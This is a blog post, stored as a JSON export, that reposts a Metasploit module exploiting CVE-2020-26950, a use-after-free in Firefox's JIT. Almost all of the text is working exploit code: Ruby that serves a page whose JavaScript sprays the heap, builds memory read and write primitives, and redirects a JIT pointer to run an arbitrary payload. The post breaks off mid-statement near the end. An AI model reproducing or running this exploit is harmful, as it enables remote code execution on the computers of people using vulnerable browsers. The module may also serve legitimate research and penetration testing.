{"id":21145,"date":"2022-03-01T18:58:27","date_gmt":"2022-03-01T15:58:27","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166175\/firefox_jit_use_after_free.rb.txt"},"modified":"2022-03-02T12:25:54","modified_gmt":"2022-03-02T08:55:54","slug":"firefox-mcallgetproperty-write-side-effects-use-after-free","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/firefox-mcallgetproperty-write-side-effects-use-after-free\/","title":{"rendered":"Firefox MCallGetProperty Write Side Effects Use-After-Free"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<\/p>\n<p dir=\"ltr\">class MetasploitModule &lt; Msf::Exploit::Remote<br \/>\nRank = ManualRanking<\/p>\n<p dir=\"ltr\">include Msf::Exploit::Remote::HttpServer::BrowserExploit<\/p>\n<p dir=\"ltr\">def initialize(info = {})<br \/>\nsuper(<br \/>\nupdate_info(<br \/>\ninfo,<br \/>\n&#8216;Name&#8217; =&gt; &#8216;Firefox MCallGetProperty Write Side Effects Use After Free Exploit&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nThis modules exploits CVE-2020-26950, a use after free exploit in Firefox.<br \/>\nThe MCallGetProperty opcode can be emitted with unmet assumptions resulting<br \/>\nin an exploitable use-after-free condition.<\/p>\n<p dir=\"ltr\">This exploit uses a somewhat novel technique of spraying ArgumentsData<br \/>\nstructures in order to construct primitives. The shellcode is forced into<br \/>\nexecutable memory via the JIT compiler, and executed by writing to the JIT<br \/>\nregion pointer.<\/p>\n<p dir=\"ltr\">This exploit does not contain a sandbox escape, so firefox must be run<br \/>\nwith the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order<br \/>\nfor the shellcode to run successfully.<\/p>\n<p dir=\"ltr\">This vulnerability affects Firefox &lt; 82.0.3, Firefox ESR &lt; 78.4.1, and<br \/>\nThunderbird &lt; 78.4.2, however only Firefox &lt;= 79 is supported as a target.<br \/>\nAdditional work may be needed to support other versions such as Firefox 82.0.1.<br \/>\n},<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;360 ESG Vulnerability Research Institute&#8217;, # discovery<br \/>\n&#8216;maxpl0it&#8217;, # writeup and exploit<br \/>\n&#8216;timwr&#8217;, # metasploit module<br \/>\n],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[&#8216;CVE&#8217;, &#8216;2020-26950&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/www.mozilla.org\/en-US\/security\/advisories\/mfsa2020-49\/#CVE-2020-26950&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/bugzilla.mozilla.org\/show_bug.cgi?id=1675905&#8217;],<br \/>\n[&#8216;URL&#8217;, &#8216;https:\/\/www.sentinelone.com\/labs\/firefox-jit-use-after-frees-exploiting-cve-2020-26950\/&#8217;],<br \/>\n],<br \/>\n&#8216;Arch&#8217; =&gt; [ ARCH_X64 ],<br \/>\n&#8216;Platform&#8217; =&gt; [&#8216;linux&#8217;, &#8216;windows&#8217;],<br \/>\n&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[ &#8216;Automatic&#8217;, {}],<br \/>\n],<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION ],<br \/>\n&#8216;SideEffects&#8217; =&gt; [ IOC_IN_LOGS ],<br \/>\n&#8216;Stability&#8217; =&gt; [CRASH_SAFE]\n},<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2020-11-18&#8217;<br \/>\n)<br \/>\n)<br \/>\nend<\/p>\n<p dir=\"ltr\">def create_js_shellcode<br \/>\nshellcode = &#8220;AAAA\\x00\\x00\\x00\\x00&#8221; + &#8220;\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90&#8221; + payload.encoded<br \/>\nif (shellcode.length % 8 &gt; 0)<br \/>\nshellcode += &#8220;\\x00&#8243; * (8 &#8211; shellcode.length % 8)<br \/>\nend<br \/>\nshellcode_js = &#8221;<br \/>\nfor chunk in 0..(shellcode.length \/ 8) &#8211; 1<br \/>\nlabel = (0x41 + chunk \/ 26).chr + (0x41 + chunk % 26).chr<br \/>\nshellcode_chunk = shellcode[chunk * 8..(chunk + 1) * 8]\nshellcode_js += label + &#8216; = &#8216; + shellcode_chunk.unpack(&#8216;E&#8217;).first.to_s + &#8220;\\n&#8221;<br \/>\nend<br \/>\nshellcode_js<br \/>\nend<\/p>\n<p dir=\"ltr\">def on_request_uri(cli, request)<br \/>\nprint_status(&#8220;Sending #{request.uri} to #{request[&#8216;User-Agent&#8217;]}&#8221;)<br \/>\nshellcode_js = create_js_shellcode<br \/>\njscript = &lt;&lt;~JS<br \/>\n\/\/ Triggers the vulnerability<br \/>\nfunction jitme(cons, interesting, i) {<br \/>\ninteresting.x1 = 10; \/\/ Make sure the MSlots is saved<\/p>\n<p dir=\"ltr\">new cons(); \/\/ Trigger the vulnerability &#8211; Reallocates the object slots<\/p>\n<p dir=\"ltr\">\/\/ Allocate a large array on top of this previous slots location.<br \/>\nlet target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489]; \/\/ Goes on to 489 to be close to the number of properties \u2018cons\u2019 has<\/p>\n<p dir=\"ltr\">\/\/ Avoid Elements Copy-On-Write by pushing a value<br \/>\ntarget.push(i);<\/p>\n<p dir=\"ltr\">\/\/ Write the Initialized Length, Capacity, and Length to be larger than it is<br \/>\n\/\/ This will work when interesting == cons<br \/>\ninteresting.x1 = 3.476677904727e-310;<br \/>\ninteresting.x0 = 3.4766779039175e-310;<\/p>\n<p dir=\"ltr\">\/\/ Return the corrupted array<br \/>\nreturn target;<br \/>\n}<\/p>\n<p dir=\"ltr\">\/\/ Initialises vulnerable objects<br \/>\nfunction init() {<br \/>\n\/\/ arr will contain our sprayed objects<br \/>\nvar arr = [];<\/p>\n<p dir=\"ltr\">\/\/ We&#8217;ll create one object&#8230;<br \/>\nvar cons = function() {};<br \/>\nfor(j=0; j&lt;512; j++) cons[&#8216;x&#8217;+j] = j; \/\/ Add 512 properties (Large jemalloc allocation)<br \/>\narr.push(cons);<\/p>\n<p dir=\"ltr\">\/\/ &#8230;then duplicate it a whole bunch of times<br \/>\n\/\/ The number of times has two uses:<br \/>\n\/\/ &#8211; Heap spray &#8211; Stops any already freed objects getting in our way<br \/>\n\/\/ &#8211; Allows us to get the jitme function compiled<br \/>\nfor (var i = 0; i &lt; 20000; i++) arr.push(Object.assign(function(){}, cons));<\/p>\n<p dir=\"ltr\">\/\/ Return the array<br \/>\nreturn arr;<br \/>\n}<\/p>\n<p dir=\"ltr\">\/\/ Global that holds the total number of objects in our original spray array<br \/>\nTOTAL = 0;<\/p>\n<p dir=\"ltr\">\/\/ Global that holds the target argument so it can be used later<br \/>\narg = 0;<\/p>\n<p dir=\"ltr\">evil = 0;<\/p>\n<p dir=\"ltr\">\/\/ setup_prim &#8211; Performs recursion to get the vulnerable arguments object<br \/>\n\/\/ arguments[0] &#8211; Original spray array<br \/>\n\/\/ arguments[1] &#8211; Recursive depth counter<br \/>\n\/\/ arguments[2]+ &#8211; Numbers to pad to the right reallocation size<br \/>\nfunction setup_prim() {<br \/>\n\/\/ Base case of our recursion<br \/>\n\/\/ If we have reached the end of the original spray array&#8230;<br \/>\nif(arguments[1] == TOTAL) {<\/p>\n<p dir=\"ltr\">\/\/ Delete an argument to generate the RareArgumentsData pointer<br \/>\ndelete arguments[3];<\/p>\n<p dir=\"ltr\">\/\/ Read out of bounds to the next object (sprayed objects)<br \/>\n\/\/ Check whether the RareArgumentsData pointer is null<br \/>\nif(evil[511] != 0) return arguments;<\/p>\n<p dir=\"ltr\">\/\/ If it was null, then we return and try the next one<br \/>\nreturn 0;<br \/>\n}<\/p>\n<p dir=\"ltr\">\/\/ Get the cons value<br \/>\nlet cons = arguments[0][arguments[1]];<\/p>\n<p dir=\"ltr\">\/\/ Move the pointer (could just do cons.p481 = 481, but this is more fun)<br \/>\nnew cons();<\/p>\n<p dir=\"ltr\">\/\/ Recursive call<br \/>\nres = setup_prim(arguments[0], arguments[1]+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480 );<\/p>\n<p dir=\"ltr\">\/\/ If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning it<br \/>\nif(res != 0) return res;<\/p>\n<p dir=\"ltr\">\/\/ Otherwise, repeat the base case (delete an argument)<br \/>\ndelete arguments[3];<\/p>\n<p dir=\"ltr\">\/\/ Check if the next object has a null RareArgumentsData pointer<br \/>\nif(evil[511] != 0) return arguments; \/\/ Return arguments if not<\/p>\n<p dir=\"ltr\">\/\/ Otherwise just return 0 and try the next one<br \/>\nreturn 0;<br \/>\n}<\/p>\n<p dir=\"ltr\">\/\/ weak_read32 &#8211; Bit-by-bit read<br \/>\nfunction weak_read32(arg, addr) {<br \/>\n\/\/ Set the RareArgumentsData pointer to the address<br \/>\nevil[511] = addr;<\/p>\n<p dir=\"ltr\">\/\/ Used to hold the leaked data<br \/>\nlet val = 0;<\/p>\n<p dir=\"ltr\">\/\/ Read it bit-by-bit for 32 bits<br \/>\n\/\/ Endianness is taken into account<br \/>\nfor(let i = 32; i &gt;= 0; i&#8211;) {<br \/>\nval = val &lt;&lt; 1; \/\/ Shift<br \/>\nif(arg[i] == undefined) {<br \/>\nval = val | 1;<br \/>\n}<br \/>\n}<\/p>\n<p dir=\"ltr\">\/\/ Return the integer<br \/>\nreturn val;<br \/>\n}<\/p>\n<p dir=\"ltr\">\/\/ weak_read64 &#8211; Bit-by-bit read using BigUint64Array<br \/>\nfunction weak_read64(arg, addr) {<br \/>\n\/\/ Set the RareArgumentsData pointer to the address<br \/>\nevil[511] = addr;<\/p>\n<p dir=\"ltr\">\/\/ Used to hold the leaked data<br \/>\nval = new BigUint64Array(1);<br \/>\nval[0] = 0n;<\/p>\n<p dir=\"ltr\">\/\/ Read it bit-by-bit for 64 bits<br \/>\nfor(let i = 64; i &gt;= 0; i&#8211;) {<br \/>\nval[0] = val[0] &lt;&lt; 1n;<br \/>\nif(arg[i] == undefined) {<br \/>\nval[0] = val[0] | 1n;<br \/>\n}<br \/>\n}<\/p>\n<p dir=\"ltr\">\/\/ Return the BigInt<br \/>\nreturn val[0];<br \/>\n}<\/p>\n<p dir=\"ltr\">\/\/ write_nan &#8211; Uses the bit-setting capability of the bitmap to create the NaN-Box<br \/>\nfunction write_nan(arg, addr) {<br \/>\nevil[511] = addr;<br \/>\nfor(let i = 64 &#8211; 15; i &lt; 64; i++) delete arg[i]; \/\/ Delete bits 49-64 to create 0xfffe pointer box<br \/>\n}<\/p>\n<p dir=\"ltr\">\/\/ write &#8211; Write a value to an address<br \/>\nfunction write(address, value) {<br \/>\n\/\/ Set the fake ArrayBuffer backing store address<br \/>\naddress = dbl_to_bigint(address)<br \/>\ntarget_uint32arr[14] = parseInt(address) &amp; 0xffffffff<br \/>\ntarget_uint32arr[15] = parseInt(address &gt;&gt; 32n);<\/p>\n<p dir=\"ltr\">\/\/ Use the fake ArrayBuffer backing store to write a value to a location<br \/>\nvalue = dbl_to_bigint(value);<br \/>\nfake_arrbuf[1] = parseInt(value &gt;&gt; 32n);<br \/>\nfake_arrbuf[0] = parseInt(value &amp; 0xffffffffn);<br \/>\n}<\/p>\n<p dir=\"ltr\">\/\/ addrof &#8211; Gets the address of a given object<br \/>\nfunction addrof(arg, o) {<br \/>\n\/\/ Set the 5th property of the arguments object<br \/>\narg[5] = o;<\/p>\n<p dir=\"ltr\">\/\/ Get the address of the 5th property<br \/>\ntarget = ad_location + (7n * 8n) \/\/ [len][deleted][0][1][2][3][4][5] (index 7)<\/p>\n<p dir=\"ltr\">\/\/ Set the fake ArrayBuffer backing store to point to this location<br \/>\ntarget_uint32arr[14] = parseInt(target) &amp; 0xffffffff;<br \/>\ntarget_uint32arr[15] = parseInt(target &gt;&gt; 32n);<\/p>\n<p dir=\"ltr\">\/\/ Read the address of the object o<br \/>\nreturn (BigInt(fake_arrbuf[1] &amp; 0xffff) &lt;&lt; 32n) + BigInt(fake_arrbuf[0]);<br \/>\n}<\/p>\n<p dir=\"ltr\">\/\/ shellcode &#8211; Constant values which hold our shellcode to pop xcalc.<br \/>\nfunction shellcode(){<br \/>\n#{shellcode_js}<br \/>\n}<\/p>\n<p dir=\"ltr\">\/\/ helper functions<br \/>\nvar conv_buf = new ArrayBuffer(8);<br \/>\nvar f64_buf = new Float64Array(conv_buf);<br \/>\nvar u64_buf = new Uint32Array(conv_buf);<\/p>\n<p dir=\"ltr\">function dbl_to_bigint(val) {<br \/>\nf64_buf[0] = val;<br \/>\nreturn BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) &lt;&lt; 32n);<br \/>\n}<\/p>\n<p dir=\"ltr\">function bigint_to_dbl(val) {<br \/>\nu64_buf[0] = Number(val &amp; 0xffffffffn);<br \/>\nu64_buf[1] = Number(val &gt;&gt; 32n);<br \/>\nreturn f64_buf[0];<br \/>\n}<\/p>\n<p dir=\"ltr\">function main() {<br \/>\nlet i = 0;<br \/>\n\/\/ ensure the shellcode is in jit rwx memory<br \/>\nfor(i = 0;i &lt; 0x5000; i++) shellcode();<\/p>\n<p dir=\"ltr\">\/\/ The jitme function returns arrays. We&#8217;ll save them, just in case.<br \/>\nlet arr_saved = [];<\/p>\n<p dir=\"ltr\">\/\/ Get the sprayed objects<br \/>\nlet arr = init();<\/p>\n<p dir=\"ltr\">\/\/ This is our target object. Choosing one of the end ones so that there is enough time for jitme to be compiled<br \/>\nlet interesting = arr[arr.length &#8211; 10];<\/p>\n<p dir=\"ltr\">\/\/ Iterate over the vulnerable object array<br \/>\nfor (i = 0; i &lt; arr.length; i++) {<br \/>\n\/\/ Run the jitme function across the array<br \/>\ncorr_arr = jitme(arr[i], interesting, i);<\/p>\n<p dir=\"ltr\">\/\/ Save the generated array. Never trust the garbage collector.<br \/>\narr_saved[i] = corr_arr;<\/p>\n<p dir=\"ltr\">\/\/ Find the corrupted array<br \/>\nif(corr_arr.length != 491) {<br \/>\n\/\/ Save it for future evil<br \/>\nevil = corr_arr<br \/>\nbreak;<br \/>\n}<br \/>\n}<\/p>\n<p dir=\"ltr\">if(evil == 0) {<br \/>\nprint(&#8220;Failure: Failed to get the corrupted array&#8221;);<br \/>\nreturn;<br \/>\n}<br \/>\nprint(&#8220;got the corrupted array &#8221; + evil.length);<\/p>\n<p dir=\"ltr\">TOTAL=arr.length;<br \/>\narg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480);<\/p>\n<p dir=\"ltr\">old_rareargdat_ptr = evil[511];<br \/>\nprint(&#8220;Leaked nursery location: &#8221; + dbl_to_bigint(old_rareargdat_ptr).toString(16));<\/p>\n<p dir=\"ltr\">iterator = dbl_to_bigint(old_rareargdat_ptr); \/\/ Start from this value<br \/>\ncounter = 0; \/\/ Used to prevent a while(true) situation<br \/>\nwhile(counter &lt; 0x200) {<br \/>\n\/\/ Read the current address<br \/>\noutput = weak_read32(arg, bigint_to_dbl(iterator));<\/p>\n<p dir=\"ltr\">\/\/ Check if it&#8217;s the expected size value for our ArgumentsObject object<br \/>\nif(output == 0x1e10 || output == 0x1e20) {<br \/>\n\/\/ If it is, then read the ArgumentsData pointer<br \/>\nad_location = weak_read64(arg, bigint_to_dbl(iterator + 8n));<\/p>\n<p dir=\"ltr\">\/\/ Get the pointer in ArgumentsData to RareArgumentsData<br \/>\nptr_in_argdat = weak_read64(arg, bigint_to_dbl(ad_location + 8n));<\/p>\n<p dir=\"ltr\">\/\/ ad_location + 8 points to the RareArgumentsData pointer, so this should match<br \/>\n\/\/ We do this because after spraying arguments, there may be a few ArgumentObjects to go past<br \/>\nif((ad_location + 8n) == ptr_in_argdat) break;<br \/>\n}<br \/>\n\/\/ Iterate backwards<br \/>\niterator = iterator &#8211; 8n;<\/p>\n<p dir=\"ltr\">\/\/ Increment counter<br \/>\ncounter += 1;<br \/>\n}<\/p>\n<p dir=\"ltr\">if(counter == 0x200) {<br \/>\nprint(&#8220;Failure: Failed to get AD location&#8221;);<br \/>\nreturn;<br \/>\n}<\/p>\n<p dir=\"ltr\">print(&#8220;AD location: &#8221; + ad_location.toString(16));<\/p>\n<p dir=\"ltr\">\/\/ The target Uint32Array &#8211; A large size value to:<br \/>\n\/\/ &#8211; Help find the object (Not many 0x00101337 values nearby!)<br \/>\n\/\/ &#8211; Give enough space for 0xfffff so we can fake a Nursery Cell ((ptr &amp; 0xfffffffffff00000) | 0xfffe8 must be set to 1 to avoid crashes)<br \/>\ntarget_uint32arr = new Uint32Array(0x101337);<\/p>\n<p dir=\"ltr\">\/\/ Find the Uint32Array starting from the original leaked Nursery pointer<br \/>\niterator = dbl_to_bigint(old_rareargdat_ptr);<br \/>\ncounter = 0; \/\/ Use a counter<br \/>\nwhile(counter &lt; 0x5000) {<\/p>\n<p dir=\"ltr\">\/\/ Read a memory address<br \/>\noutput = weak_read32(arg, bigint_to_dbl(iterator));<\/p>\n<p dir=\"ltr\">\/\/ If we have found the right size value, we have found the Uint32Array!<br \/>\nif(output == 0x101337) break;<\/p>\n<p dir=\"ltr\">\/\/ Check the next memory location<br \/>\niterator = iterator + 8n;<\/p>\n<p dir=\"ltr\">\/\/ Increment the counter<br \/>\ncounter += 1;<br \/>\n}<\/p>\n<p dir=\"ltr\">if(counter == 0x5000) {<br \/>\nprint(&#8220;Failure: Failed to find the Uint32Array&#8221;);<br \/>\nreturn;<br \/>\n}<\/p>\n<p dir=\"ltr\">\/\/ Subtract from the size value address to get to the start of the Uint32Array<br \/>\narr_buf_addr = iterator &#8211; 40n;<\/p>\n<p dir=\"ltr\">\/\/ Get the Array Buffer backing store<br \/>\narr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator + 16n));<br \/>\nprint(&#8220;AB Location: &#8221; + arr_buf_loc.toString(16));<\/p>\n<p dir=\"ltr\">\/\/ Create a fake ArrayBuffer through cloning<br \/>\niterator = arr_buf_addr;<br \/>\nfor(i=0;i&lt;64;i++) {<br \/>\noutput = weak_read32(arg, bigint_to_dbl(iterator));<br \/>\ntarget_uint32arr[i] = output;<br \/>\niterator = iterator + 4n;<br \/>\n}<\/p>\n<p dir=\"ltr\">\/\/ Cell Header &#8211; Set it to Nursery to pass isNursery()<br \/>\ntarget_uint32arr[0x3fffa] = 1;<\/p>\n<p dir=\"ltr\">\/\/ Write an unboxed pointer to arguments[0]\nevil[512] = bigint_to_dbl(arr_buf_loc);<\/p>\n<p dir=\"ltr\">\/\/ Make it NaN-Boxed<br \/>\nwrite_nan(arg, bigint_to_dbl(ad_location + 16n)); \/\/ Points to evil[512]\/arguments[0]\n<p dir=\"ltr\">\/\/ From here we have a fake UintArray in arg[0]\n\/\/ Pointer can be changed using target_uint32arr[14] and target_uint32arr[15]\nfake_arrbuf = arg[0];<\/p>\n<p dir=\"ltr\">\/\/ Get the address of the shellcode function object<br \/>\nshellcode_addr = addrof(arg, shellcode);<br \/>\nprint(&#8220;Function is at: &#8221; + shellcode_addr.toString(16));<\/p>\n<p dir=\"ltr\">\/\/ Get the jitInfo pointer in the JSFunction object<br \/>\njitinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); \/\/ JSFunction.u.native.extra.jitInfo_<br \/>\nprint(&#8221; jitinfo: &#8221; + jitinfo.toString(16));<\/p>\n<p dir=\"ltr\">\/\/ We can then fetch the RX region from here<br \/>\nrx_region = weak_read64(arg, bigint_to_dbl(jitinfo));<br \/>\nprint(&#8221; RX Region: &#8221; + rx_region.toString(16));<\/p>\n<p dir=\"ltr\">iterator = rx_region; \/\/ Start from the RX region<br \/>\nfound = false<br \/>\n\/\/ Iterate to find the 0x41414141 value in-memory. 8 bytes after this is the start of the shellcode.<br \/>\nfor(i = 0; i &lt; 0x800; i++) {<br \/>\ndata = weak_read64(arg, bigint_to_dbl(iterator));<br \/>\nif(data == 0x41414141n) {<br \/>\niterator = iterator + 8n;<br \/>\nfound = true;<br \/>\nbreak;<br \/>\n}<br \/>\niterator = iterator + 8n;<br \/>\n}<br \/>\nif(!found) {<br \/>\nprint(&#8220;Failure: Failed to find the JIT start&#8221;);<br \/>\nreturn;<br \/>\n}<\/p>\n<p dir=\"ltr\">\/\/ We now have a pointer to the start of the shellcode<br \/>\nshellcode_location = iterator;<br \/>\nprint(&#8220;Shellcode start: &#8221; + shellcode_location.toString(16));<\/p>\n<p dir=\"ltr\">\/\/ And can now overwrite the previous jitInfo pointer with our shellcode pointer<br \/>\nwrite(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location));<\/p>\n<p dir=\"ltr\">print(&#8220;Triggering&#8230;&#8221;);<br \/>\nshellcode(); \/\/ Triggering our shellcode is as simple as calling the function again.<br \/>\n}<br \/>\nmain();<br \/>\nJS<\/p>\n<p dir=\"ltr\">jscript = add_debug_print_js(jscript)<br \/>\nhtml = %(<br \/>\n&lt;html&gt;<br \/>\n&lt;script&gt;<br \/>\n#{jscript}<br \/>\n&lt;\/script&gt;<br \/>\n&lt;\/html&gt;<br \/>\n)<br \/>\nsend_response(cli, html, {<br 